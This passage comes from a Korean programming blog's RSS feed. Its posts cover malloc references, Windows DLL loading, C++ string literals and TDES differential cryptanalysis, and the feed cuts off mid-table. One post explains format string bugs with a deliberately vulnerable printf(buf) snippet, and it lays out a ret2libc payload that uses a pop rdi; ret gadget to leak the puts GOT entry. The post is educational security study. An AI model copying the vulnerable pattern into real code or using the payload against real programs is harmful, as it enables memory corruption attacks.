C Library Reference Manual”, GNU Press a division of the Free
Software Foundation, 2021&lt;/p&gt;

&lt;p&gt;[3] “malloc.c”, GNU &amp;amp; Elixir, 2021. [Online]. Available:
https://elixir.bootlin.com/glibc/glibc-2.34.9000/source/malloc/malloc.c,
[Accessed Apr. 08, 2022]&lt;/p&gt;
</description>
        <pubDate>Fri, 08 Apr 2022 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/2022/04/08/Malloc_internals/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/2022/04/08/Malloc_internals/</guid>
      </item>
    
      <item>
        <title>Format String Vulnerability and Ret2libc Attack in AMD64</title>
        <description>&lt;h2 id=&quot;contents&quot;&gt;Contents&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;Format String Vulnerability&lt;/li&gt;
  &lt;li&gt;Ret2libc Attack&lt;/li&gt;
  &lt;li&gt;References&lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;format-string-vulnerability&quot;&gt;Format String Vulnerability&lt;/h1&gt;
&lt;p&gt;[5]는 형식 문자열 취약점을 사용할 수 있게 된다면, 공격자가 원하는 곳에
어떤 값이든 쓸 수 있는 길로 안내한다고 설명하고 있다. 즉, 임의 메모리
쓰기가 가능한 것이다. 여기서는 AMD64 시스템에서 형식 문자열 취약점이
발생할 수 있는 이유를 설명한다.&lt;/p&gt;

&lt;p&gt;[1, p. 286]은 템플릿 (또는 형식 문자열) 내에 있는 형식 특정자의 동작을
기술한다. 그리고 그것은 형식 특정자가 형식 문자열 다음에 나오는
호출 매개 변수들이 포맷된 후에 출력되도록 만든다는 것이다. 여기서 ‘포맷된
후’라는 것은 형식 특정자가 해석되어 출력할 호출 매개 변수의 값과 타입이
추출되고 주어진 형식에 맞도록 처리하는 연산들이 모두 수행된 이후를 의미한다.
한편 [2, p. 54]에서는 x86과 AMD64의 매개 변수 전달 방식이 다르기
때문에 가변 인자의 구현이 x86에서 자주 사용되던 방식과는 같을 수 없음을
언급하고 있지만, [2, pp. 57-58]에서 매개 변수의 타입이 레지스터에 배치될 수
없는 경우에는 스택에 배치되는 동작을 서술하고 있다.&lt;/p&gt;

&lt;p&gt;형식 문자열 취약점은 대표적으로 다음과 같은 코드가 컴파일되었을 때 발생할 수
있다.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;...
char buf[1024];

scanf(&quot;%s&quot;, buf);
printf(buf);
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;그리고 위 코드를 포함해서 형식 문자열 취약점을 발생시키는 코드는 출력 함수가
기대하는 정도의 호출 매개 변수가 없다. 즉, 사용자 입력에
형식 특정자가 포함되었을 때, 그 특정자에 대응되는 호출 매개 변수가 없는
상황인 것이다. 그러므로 형식 특정자에 대응되는 호출 매개 변수의 타입을
특정할 수 없으므로 레지스터에 배치되지 않는 호출 매개 변수가 존재한다.
따라서 이 경우에는 스택으로부터 호출 매개 변수의 값을 얻게된다. 이는 공격자가
임의의 메모리에서 읽기와 쓰기를 지시할 수 있음을 의미한다.&lt;/p&gt;

&lt;h1 id=&quot;ret2libc-attack&quot;&gt;Ret2libc Attack&lt;/h1&gt;
&lt;p&gt;Ret2libc (Return-to-Libc) 공격은 [3]에서 서술하듯이, 실행 불가능 스택을
우회하기 위해 주로 사용되고, x86과 같은 시스템에서는 다음과 같은 페이로드를
사용하여 수행하게 된다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
&amp;lt;- 스택이 자라는 방향
   주소가 자라는 방향 -&amp;gt;
 -----------------------------------------------------------------
 | buffer fill-up(*) | function_in_lib | dummmy_int32 | arg_1 | arg_2 |
 -----------------------------------------------------------------
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;위 그림에서 dummy_int32는 [4, p. 36]에서 제시한 표준 스택 프레임과
[4, pp. 39-40]에서 설명한 함수 프롤로그와 에필로그에 비추어보면, 호출된
함수 시점에서 리턴 주소가 된다.&lt;/p&gt;

&lt;p&gt;그러나 AMD64 시스템에서는 [2, pp. 19-24]가 설명하듯이 매개 변수를 몇몇
클래스로 나누고 클래스에 따라 다른 레지스터에 배치하여 전달하기 때문에
위 그림과 같이 페이로드를 구성할 수 없다. [2, p. 23]은 호출 매개 변수가
배치되는 레지스터의 순서를 다음과 같이 소개한다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
_______________________________________________________
%rdi | 첫 번째 호출 매개 변수
%rsi | 두 번째 호출 매개 변수
%rdx | 세 번째 호출 매개 변수
%rcx | 네 번째 호출 매개 변수
%r8  | 다섯 번째 호출 매개 변수
%r9  | 여섯 번째 호출 매개 변수
_______________________________________________________
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;그러므로 호출 매개 변수의 순서에 대응되는 레지스터에 값을 대입하는 작은
명령어 조각이 필요하고, 이것은 가젯이라고 불린다. 즉, 가젯으로 호출 매개
변수의 값을 그에 대응되는 레지스터에 대입하고 호출하고자 하는 함수로
분기하도록 스택을 구성하는 페이로드를 작성해야 한다. 그러나 [2, p. 18]이
제시하는 스택 프레임 레이아웃과 [4, p. 36]이 제시하는 스택 프레임
레이아웃은 정렬 단위를 제외하고는 같으므로 호출된 함수 시점의 리턴 주소의
위치는 x86에서의 것과 동일하다.&lt;/p&gt;

&lt;p&gt;그럼 가젯은 어떻게 찾을 수 있을까? 가젯은 상기 서술하였듯이 작은 명령어
조각이므로 ELF 파일 또는 링크된 동적 라이브러리의 오브젝트 코드에서
동일한 조각을 찾아야 한다. 예를 들어 다음은 한 실행 파일을 objdump로
출력한 결과이다. pop rdi; ret라는 가젯을 찾을 수 있겠는가?&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;...
 40090a:    5b        pop %rbx
 40090b:    5d        pop %rbp
 40090c:    41 5c     pop %r12
 40090e:    41 5d     pop %r13
 400910:    41 5e     pop %r14
 400912:    41 5f     pop %r15
 400914:    c3        retq
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;위 어셈블리 코드를 보았을 때는 여기서 얻고자 하는 가젯인 pop rdi; ret는
없어 보인다. 그러나 실제로 어셈블리 코드가 실행되는 것은 아니라는 것을
명심하자. 실제로 CPU의 동작을 결정하는 것은 헥스 코드로 표현되는 기계어이다.
그리고 pop rdi; ret에 대한 기계어는 위 실행 파일에서는 5f c3이다. 즉,
0x400912부터 보면 pop %r15; ret이지만, 0x400913부터 보면 pop rdi; ret가
되는 것이다. 정리하면, 실행 파일 또는 동적으로 링크된 라이브러리에서 가젯에
대응되는 기계어를 검색하여 가젯을 찾을 수 있다.&lt;/p&gt;

&lt;p&gt;이제 다음 페이로드를 통해 전체적인 동작을 살펴보자.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
[ buffer fill-up(*)     ]
[ Gadget (pop rdi; ret) ] -&amp;gt; return address of a caller
[ GOT entry of puts()   ]
[ PLT entry of puts()   ]
[ main() address        ] -&amp;gt; return address of a callee
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;먼저 함수가 리턴하는 시점에서 스택 포인터는 가젯을 가리키게 되어 명령
포인터는 스택에서 꺼내어진 가젯 주소를 저장하게 된다. 이때 스택은 다음과
같은 상태가 된다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
(LOW)
...
[ buffer fill-up(*)     ]
[ Gadget (pop rdi; ret) ]
[ GOT entry of puts()   ] &amp;lt;= stack pointer
[ PLT entry of puts()   ]
[ main() address        ]
...
(HIGH)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이제 가젯의 pop rdi;가 실행되어 puts() 함수의 GOT 엔트리 주소가 스택에서
꺼내어져 %rdi 레지스터에 저장된다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
(LOW)
...
[ buffer fill-up(*)     ]
[ Gadget (pop rdi; ret) ]
[ GOT entry of puts()   ]
[ PLT entry of puts()   ] &amp;lt;= stack pointer
[ main() address        ]
...
(HIGH)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;그다음으로 가젯의 ret가 실행된다. 따라서 puts() 함수의 PLT 엔트리 주소가
스택에서 꺼내어져 명령 포인터에 저장된다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
(LOW)
...
[ buffer fill-up(*)     ]
[ Gadget (pop rdi; ret) ]
[ GOT entry of puts()   ]
[ PLT entry of puts()   ]
[ main() address        ] &amp;lt;= stack pointer
...
(HIGH)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;마지막으로 스택을 정리하며 puts() 함수로 점프하여 puts() 함수를 위한
스택 프레임을 구성한다. 여기서 main() 함수의 주소는 [2, p. 18]이
제시한 스택 프레임 레이아웃에 비추어보면 리턴 주소가 된다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
(LOW)
...
[                       ]
[                       ]
[                       ]
[                       ] &amp;lt;= base pointer, stack pointer
[ main() address        ] &amp;lt;= return address
...
(HIGH)
&lt;/code&gt;&lt;/pre&gt;

&lt;h1 id=&quot;references&quot;&gt;References&lt;/h1&gt;
&lt;p&gt;[1] Sandra Loosemore et al., The GNU C Library Reference
Manual, GNU Press a division of the Free Software Foundation,
2021&lt;/p&gt;

&lt;p&gt;[2] H.J. Lu et al., System V Application Binary Interface
AMD64 Architecture Processor Suplement, 2018&lt;/p&gt;

&lt;p&gt;[3] Nergal, “The advanced return-into-lib(c) exploits: PaX case
study”, “http://phrack.org/issues/58/4.html”, Phrack Volume 11
Issue 58 Phile 4, 2001&lt;/p&gt;

&lt;p&gt;[4] System V Application Binary Interface IntelI386 Architecture
Processor Supplement Fourth Edition, The Santa Cruz Operation, Inc.,
1997&lt;/p&gt;

&lt;p&gt;[5] gera, “Advances in format string exploitation”,
“http://phrack.org/issues/59/7.html”, Phrack Volume 11 Issue 59
Phile 7, 2002&lt;/p&gt;
</description>
        <pubDate>Sat, 02 Apr 2022 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/2022/04/02/Format_String-Ret2libc-AMD64/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/2022/04/02/Format_String-Ret2libc-AMD64/</guid>
      </item>
    
      <item>
        <title>C/C++ LoadLibrary</title>
        <description>&lt;h2 id=&quot;loadlibrary는-윈도우에서-사용자가-만든-dll파일을-불러오는-함수이다&quot;&gt;LoadLibrary는 윈도우에서 사용자가 만든 DLL파일을 불러오는 함수이다&lt;/h2&gt;

&lt;p&gt;LoadLibrary를 사용하여 동적 라이브러리인 DLL파일을 불러와, 내부에 존재하는 함수를 사용할 수 있다.&lt;/p&gt;

&lt;p&gt;아래는 DLL 사용 예제이다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://eveheeero-github-io.notion.site/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fc896f0f7-7421-45f3-9ac2-e79472cf5ec6%2FUntitled.png?table=block&amp;amp;id=48c9d0d3-0b0d-472b-b8e2-5694c8861fca&amp;amp;spaceId=c2eb73c4-6260-4fb7-8470-2e07bff25e55&amp;amp;width=2000&amp;amp;userId=&amp;amp;cache=v2&quot; alt=&quot;DLL을 불러와 GetProcAddress를 이용하여 함수를 불러오는 예시&quot; title=&quot;DLL을 불러와 GetProcAddress를 이용하여 함수를 불러오는 예시&quot; /&gt;&lt;/p&gt;

&lt;p&gt;LoadLibrary로 dll파일의 주소를 적어줘, DLL을 로드하고 메모리에 매핑된 주소를 불러온다.&lt;/p&gt;

&lt;p&gt;이후, 함수의 원형(반환값과 인자값)을 이용하여 타입을 지정한 뒤, 해당 타입을 이용하여 함수를 불러올 수 있다. (함수는 기본적으로 주소를 가지고 있는 포인터변수이다. 이에 괄호를 통해 인자를 주거나, 인자를 주지 않으면 직접 실행하도록 되는것이다.)&lt;/p&gt;

&lt;p&gt;함수의 주소를 받는것은 GetProcAddress를 이용해 받을 수 있다. 인자로 모듈주소와 모듈이름을 주면 인자를 반환한다. 모듈 이름을 모를경우 DLL정보를 보는 프로그램을 이용할 수 있다.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;함수의 이름을 알 수 없는경우 함수 내부 번호를 이용해 MAKEINTRESOURCE(ordinal)을 대신 넣어주면 되는 것 같다. 확인필요&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;img src=&quot;https://eveheeero-github-io.notion.site/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F9e0c9957-096d-4956-ab97-e7be87c73fe5%2FUntitled.png?table=block&amp;amp;id=5f320ab0-be6b-49be-9059-83f07cdef242&amp;amp;spaceId=c2eb73c4-6260-4fb7-8470-2e07bff25e55&amp;amp;width=2000&amp;amp;userId=&amp;amp;cache=v22&quot; alt=&quot;DLL을 사용한 함수의 결과값&quot; title=&quot;DLL을 사용한 함수의 결과값&quot; /&gt;&lt;/p&gt;

&lt;p&gt;추가적으로 검색하다 알게 된 내용인데 다음과 같은 방법으로도 함수를 불러올 수 있는 모양이다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://eveheeero-github-io.notion.site/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fb2afa580-46f6-40e9-84c6-9707082e350e%2FUntitled.png?table=block&amp;amp;id=bf40fc08-4b64-469b-b831-381d06a3ee05&amp;amp;spaceId=c2eb73c4-6260-4fb7-8470-2e07bff25e55&amp;amp;width=2000&amp;amp;userId=&amp;amp;cache=v2&quot; alt=&quot;typedef 없이 함수를 지정하는 방법&quot; title=&quot;typedef 없이 함수를 지정하는 방법&quot; /&gt;&lt;/p&gt;

&lt;p&gt;그리고 과거에 만들었던 코드에서 찾아보니 다음과 같은 코드도 유효했다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://eveheeero-github-io.notion.site/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F443b10c6-e8ac-4949-a27f-cd829f29bed3%2FUntitled.png?table=block&amp;amp;id=e778ff9b-dee8-442e-b3aa-082d060245a6&amp;amp;spaceId=c2eb73c4-6260-4fb7-8470-2e07bff25e55&amp;amp;width=1680&amp;amp;userId=&amp;amp;cache=v2&quot; alt=&quot;__stdcall을 이용한 함수호출&quot; title=&quot;\_\_stdcall을 이용한 함수호출&quot; /&gt;&lt;/p&gt;

&lt;p&gt;위의 두 경우에도 결과값은 잘 나온다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://eveheeero-github-io.notion.site/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F70fb3d51-5193-4cd4-9f44-f66a4660d5de%2FUntitled.png?table=block&amp;amp;id=f5f012a0-4cd4-4990-b12f-922904b423bc&amp;amp;spaceId=c2eb73c4-6260-4fb7-8470-2e07bff25e55&amp;amp;width=180&amp;amp;userId=&amp;amp;cache=v2&quot; alt=&quot;위의 두 코드에 대한 결과값&quot; title=&quot;위의 두 코드에 대한 결과값&quot; /&gt;&lt;/p&gt;

&lt;p&gt;추가적으로 인자에 괴상한 값이나 콜백함수를 줘야할 때는 다음과 같은 방법을 사용하면 된다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://eveheeero-github-io.notion.site/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fdf4b916d-a446-4a0b-8dfc-db51ae7bf66b%2FUntitled.png?table=block&amp;amp;id=a1224a01-5694-4fe1-85c8-5ef477f5712f&amp;amp;spaceId=c2eb73c4-6260-4fb7-8470-2e07bff25e55&amp;amp;width=1720&amp;amp;userId=&amp;amp;cache=v2&quot; alt=&quot;과거에 작성했던 코드&quot; title=&quot;과거에 작성했던 코드&quot; /&gt;&lt;/p&gt;

&lt;p&gt;다음은 소스코드이다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-CPP&quot;&gt;#include &amp;lt;iostream&amp;gt;     // __stdcall은 함수를 끝낼 때 스택정리를 하지 않는것, __cdecl방식은 함수를 끝낼 때 스택정리를 하는것
#include &amp;lt;windows.h&amp;gt;

int main (int argc, char **argv) {
    HMODULE hmodule = LoadLibrary(&quot;makeDll.dll&quot;);    // DLL을 로드한다.
    if (hmodule == nullptr) {                       // 만약 제대로 로드되지 않았으면 종료한다.
        std::cout &amp;lt;&amp;lt; &quot;DLL 로드에 실패하였습니다.&quot; &amp;lt;&amp;lt; std::endl;
        return 1;
    }
    // 불러온 라이브러리에서 &quot;add&quot;함수를 찾아 주소를 가져온다.
    // 함수에 대한 타입을 지정해준다. (반환값과 인자값때문에 반드시 지정해줘야한다.)
    typedef int (*MyType1)(int, int);   // 반환형이 int인, 인자를 int, int로 주는 함수의 타입이다.
    MyType1 add = (MyType1)GetProcAddress(hmodule, &quot;add&quot;);
    int result = add(10, 20); // 불러온 함수를 다음과 같은 방법으로 사용하면 된다.

    std::cout &amp;lt;&amp;lt; &quot;result is &quot; &amp;lt;&amp;lt; result &amp;lt;&amp;lt; std::endl;

    PVOID AddPointer = reinterpret_cast&amp;lt;void*&amp;gt;(GetProcAddress(hmodule, &quot;add&quot;)); // getProcAddress는 단순히 주소를 반환하는것이기 때문에 해당 코드처럼 포인터를 저장해놔도 된다.
    // (PVOID는 void*이다.)
    int(__cdecl* add2)(int, int) = (int(__cdecl*)(int, int))AddPointer;   // __cdecl*방식으로 해당 포인터를 받아 할당하는 방법도 있다.
    result = add2(30, 40);

    std::cout &amp;lt;&amp;lt; &quot;result is &quot; &amp;lt;&amp;lt; result &amp;lt;&amp;lt; std::endl;

    typedef int (__stdcall *MyType2)(int, int); // __stdcall방식으로 타입을 지정해도 된다.
    MyType2 add3 = (MyType1)GetProcAddress(hmodule, &quot;add&quot;);
    result = add(5, 10);    // 그리고 이런 방식으로 호출한것은 __cdecl방법으로 적용되는진 모르겠다. 디버깅이 필요하다.

    std::cout &amp;lt;&amp;lt; &quot;result is &quot; &amp;lt;&amp;lt; result &amp;lt;&amp;lt; std::endl;

    return 0;
}

&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
  &lt;p&gt;__stdcall과 __cdecl에 대한것을 오랫만에 보아 찾아보았다. __stdcall은 표준 호출이고, __cdecl은 c 선언이라는 듯 같다.&lt;/p&gt;
&lt;/blockquote&gt;
</description>
        <pubDate>Sat, 02 Apr 2022 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/2022/04/02/C-CPP-LoadLibrary/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/2022/04/02/C-CPP-LoadLibrary/</guid>
      </item>
    
      <item>
        <title>C/C++ 문자 리터럴</title>
        <description>&lt;blockquote&gt;
  &lt;p&gt;C와 C++의 String 혹은 문자열에 대한 리터럴은 해당 링크에서 확인할 수 있다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;마이크로소프트-msdn&quot;&gt;&lt;a href=&quot;https://docs.microsoft.com/ko-kr/cpp/cpp/string-and-character-literals-cpp?view=msvc-170&quot;&gt;마이크로소프트 MSDN&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;문자 리터럴은 문자의 뒤나 앞에 붙어, 문자의 타입을 지정하는것을 도와준다.&lt;/p&gt;

&lt;p&gt;간단하게 요약하면, 문자 리터럴은 다음이 있다.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;u8 - 1바이트(8비트) 문자 char8_t형 (char8_t형은 C++20버전 다음에 나왔으며, 그 이전에는 char형이 나타난다.)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;L - 2바이트 혹은 4바이트 wchar_t형 (widechar_type)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;u - 2바이트 char16_t형 (16비트)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;U - 4바이트 char32_t형 (32비트)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;R - 원시 문자 리터럴&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;s - String클래스 -&amp;gt; std::string이나 std::u8string, std::wstring, std::u16string, std::u32string&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;p&gt;해당 리터럴은 프로그래머가 여러 타입으로 문자열을 받고, 입력하는것을 지원한다.&lt;/p&gt;

&lt;p&gt;기존의 char형태에서는 기본 ASCII코드 외의 각자 지역의 언어들과 특수문자를 제대로 지원하지 않으며, 이는 utf-8(u8)을 사용하거나 utf-16, utf-32등의 여러 인코딩을 사용하여 표현할 수 있다.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;원시 문자 리터럴은 “나 \등의 여러 문자를 입력하는것을 도와준다. 특히 HTML같은 경우 여러가지 특수기호를 사용하게 되는데, 이를 프로그래밍적으로 작성하는것은 매우 힘들다.&lt;/p&gt;

&lt;p&gt;이러한 문제를 해결하기 위해선 C++11버전 이후에 나온 원시 문자 리터럴을 사용하여, R”(  )” 내부에 존재하는 모든 특수기호가 이스케이프 시퀀스를 뜻하는게 아닌, 문자열을 뜻하는것이라고 명시할 수 있다.&lt;/p&gt;

&lt;p&gt;원시 문자 리터럴은 R”와 ( 사이에 최대 16글자의 사용자 정의 구분자를 사용할 수 있다.&lt;/p&gt;

&lt;p&gt;원시 문자 리터럴은 다음과 같이 사용할 수 있다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C++&quot;&gt;auto Hello = R&quot;MyHelloLiteral(Hell\o)MyHelloLiteral&quot;;   // \ 기호가 필요하지 않지만, 이러한 값을 제대로 입력받을 수 있음을 표시하기 위해 적어주었다.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;위 코드의 Hello 변수는 Hell\o만을 가르키고 있으며, MyHelloLiteral로 둘러쌓여있는 문자열을 감싸주고 있다.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;s 리터럴은 입력받은 const char*등의 타입을 std::string형태로 바꿔준다.&lt;/p&gt;

&lt;p&gt;이는 다음과 같이 사용할 수 있다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C++&quot;&gt;std::string MyStr = &quot;This is std::string&quot;s;
std::wstring MyStr2 = L&quot;This is std::string for wide character&quot;s;
std::wstring Mystr3 = LR&quot;(This is &quot;REALLY&quot; std::wstring)&quot;s;
&lt;/code&gt;&lt;/pre&gt;

&lt;hr /&gt;

&lt;blockquote&gt;
  &lt;p&gt;해당 문자 리터럴의 사용은 winAPI관련 문서에서도 쉽게 찾아볼 수 있다.&lt;/p&gt;

  &lt;p&gt;winAPI는 호환성을 가장 중요시 여기기 때문에 여러 인코딩에 대한 지원을 하여, 프로그래머가 사용할 여러 인코딩에 따라 여러가지 타입의 매개변수를 받을 수 있도록 지원하고 있다.&lt;/p&gt;

  &lt;p&gt;간단하게 LoadLibrary함수를 보아도, &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya&quot;&gt;LoadLibraryA&lt;/a&gt;, &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryw&quot;&gt;LoadLibraryW&lt;/a&gt; 로 다양한 인코딩 형식에 대해 지원하는것을 볼 수 있다.&lt;/p&gt;

  &lt;p&gt;추가적으로 wchar_t&lt;em&gt;형태를 char&lt;/em&gt;타입으로 변환하는 방법은 stdlib.h의 wcstombs(char &lt;em&gt;dest, wchar_t&lt;/em&gt;source, size_t count)함수를 사용하면 된다. &lt;a href=&quot;https://www.ibm.com/docs/ko/i/7.3?topic=functions-wcstombs-convert-wide-character-string-multibyte-string&quot;&gt;IBM&lt;/a&gt; &lt;a href=&quot;https://docs.microsoft.com/ko-kr/cpp/c-runtime-library/reference/wcstombs-wcstombs-l?view=msvc-170&quot;&gt;MSDN&lt;/a&gt;&lt;/p&gt;

  &lt;p&gt;혹은 안전을 위해 사용할 수 없다면 MSDN의 wcstombs_s을 사용할 수 있다. &lt;a href=&quot;https://docs.microsoft.com/ko-kr/cpp/c-runtime-library/reference/wcstombs-s-wcstombs-s-l?view=msvc-170&quot;&gt;MSDN&lt;/a&gt;&lt;/p&gt;

  &lt;p&gt;wcstombs_s(size_t &lt;em&gt;pReturnValue, char&lt;/em&gt;dest, size_t sizeOfDest, wchar_t *source, size_t size); pReturnValue는 반환된 문자열의 크기를 넣기 위한 포인터이다.&lt;/p&gt;

  &lt;p&gt;wcstombs -&amp;gt; wide character stream to multi bytes stream(sequence)인것같다?&lt;/p&gt;
&lt;/blockquote&gt;
</description>
        <pubDate>Wed, 30 Mar 2022 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/2022/03/30/C-CPP-String-character-literals/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/2022/03/30/C-CPP-String-character-literals/</guid>
      </item>
    
      <item>
        <title>TDES Differential Cryptanalysis</title>
        <description>&lt;h2 id=&quot;contents&quot;&gt;Contents&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;차등 암호분석 개요&lt;/li&gt;
  &lt;li&gt;TDES의 Sbox 차이 분석&lt;/li&gt;
  &lt;li&gt;입출력값의 차이를 선택하는 방법&lt;/li&gt;
  &lt;li&gt;TDES의 차등 암호분석&lt;/li&gt;
  &lt;li&gt;보조키 비트 복구 알고리즘&lt;/li&gt;
  &lt;li&gt;키 비트를 모두 복구하는 방법&lt;/li&gt;
  &lt;li&gt;블록암호 설계원칙&lt;/li&gt;
  &lt;li&gt;References&lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;차등-암호분석-개요&quot;&gt;차등 암호분석 개요&lt;/h1&gt;
&lt;p&gt;차등 암호분석(Differential Cryptanalysis)은 DES를 분석하기 위해
개발되었으므로, DES 범주 내에서 검토해보자. Sbox를 제외한 DES의 다른 모든
요소는 선형이라는 것에 주목하자. 물론, Biham과 Shamir가 차등 암호분석을
여러 버전의 DES에 적용시켰을 때 원래 버전을 제외하고는 모두 보안성이
약화되었다는 것을 확인하였다는 점에서 선형 부분이 보안성에 기여하는 부분이
없다고 할 수 없다. 그러나, 선형 부분은 상대적으로 쉬운 부분에 속하기 때문에
단 하나 뿐인 비선형 요소에 집중하는 것이다.&lt;/p&gt;

&lt;p&gt;여기서는 DES가 아닌 [1]에 제시된 TDES에 차등 암호분석을 적용할 것이지만 기본적인 동작
원리는 같다. 즉, 단일 Sbox에 대한 공격을 여러 Sbox에 대한 공격으로
확장시키고, 이를 다시 여러 회전에 대한 공격으로 확장시키는 것이다. 이는 어려운
문제로 보이지만 입력과 출력의 차이에 초점을 맞춘다면, 일부 Sbox를
“활성화”시키고 다른 것은 “비활성화”시킬 수 있다. 따라서 그 공격을 단일
회전에 대한 공격으로 확장할 수 있다. 그리고 이를 다시 다수의 회전에 대한
공격으로 확장하기 위해 현재 회전의 출력 차이가 다음 회전에 유용한 형식이
되도록 현재 회전의 입력 차이를 선택해야할 것이다. 이는 간단한 문제는 아니며
각 회전에서 일어나는 선형 혼합뿐 아니라 Sbox 고유 특성에도 의존한다.
 이러한 차등 암호분석의 결과가 꼭 100%의 확률로 확정적일 필요는 없다. 즉,
어떤 결과가 만들어질 확률이 의미 있는 크기라면, 키를 성공적으로 찾아내는 데
있어 효과적으로 활용될 수 있는 확률적인 공격기법을 개발할 수 있다.&lt;/p&gt;

&lt;h1 id=&quot;tdes의-sbox-차이-분석&quot;&gt;TDES의 Sbox 차이 분석&lt;/h1&gt;
&lt;p&gt;그럼 TDES의 유일한 비선형 요소인 Sbox의 입출력 차이를 살펴보자. Sbox를
다음과 같이 분석하면 유용한 입력 차이를 얻을 수 있다. 각각의 가능한 입력 X에
대해
X = X1 ⊕ X2 (단, ⊕는 XOR 연산)
를 만족하는 모든 쌍 (X1, X2)를 찾고
해당하는 출력 차이 Y = Y1 ⊕ Y2를 계산한다. 여기서
Y1 = Sbox(X1), Y2 = Sbox(X2)이다. 이 결과를 표로 정리하면 가장 편향된 출력
차이를 만들어내는 입력 값을 찾을 수 있다. 다음 표는 TDES의 Sbox 차이를 분석한
결과이다.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
&lt;strong&gt;64&lt;/strong&gt; 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 06 02 02 02 00 04 06 02 06 08 08 02 08 06 00
00 02 00 02 00 00 00 04 06 08 02 16 12 00 00 04
04 04 06 08 02 04 04 04 08 10 00 00 00 02 04 04
04 02 04 08 00 06 00 02 02 00 06 04 08 04 02 02
02 12 08 02 06 04 14 00 02 00 06 12 02 02 04 02
02 00 10 00 06 00 00 04 00 02 04 08 06 04 04 06
06 08 00 04 02 06 06 04 02 00 04 02 00 06 06 06
06 06 02 08 12 00 04 02 00 00 &lt;strong&gt;48&lt;/strong&gt; 00 04 00 00 00
00 04 00 00 04 04 00 00 00 02 02 06 02 06 02 00
00 04 08 02 06 08 00 02 08 06 00 00 08 02 06 08
08 00 04 08 00 02 12 04 06 00 04 04 04 08 02 10
10 00 04 08 02 04 00 00 04 08 04 02 00 02 00 06
06 06 04 02 00 02 02 08 04 02 06 12 08 00 02 08
08 14 10 02 02 06 00 00 02 02 04 02 10 00 00 02
02 00 04 06 04 04 08 08 00 04 06 06 06 04 02 00
00 04 00 02 08 06 00 00 04 08 06 08 06 00 12 00
00 00 04 00 12 04 02 02 04 06 04 04 02 04 08 08
08 00 04 06 04 04 02 02 04 02 02 02 08 02 04 10
10 00 08 00 04 04 10 00 04 00 02 08 14 00 04 04
04 02 04 04 04 04 00 08 04 12 02 02 10 04 04 02
02 02 04 02 00 00 06 00 02 04 04 10 02 02 04 06
06 04 06 02 04 08 08 04 14 02 02 04 00 02 02 04
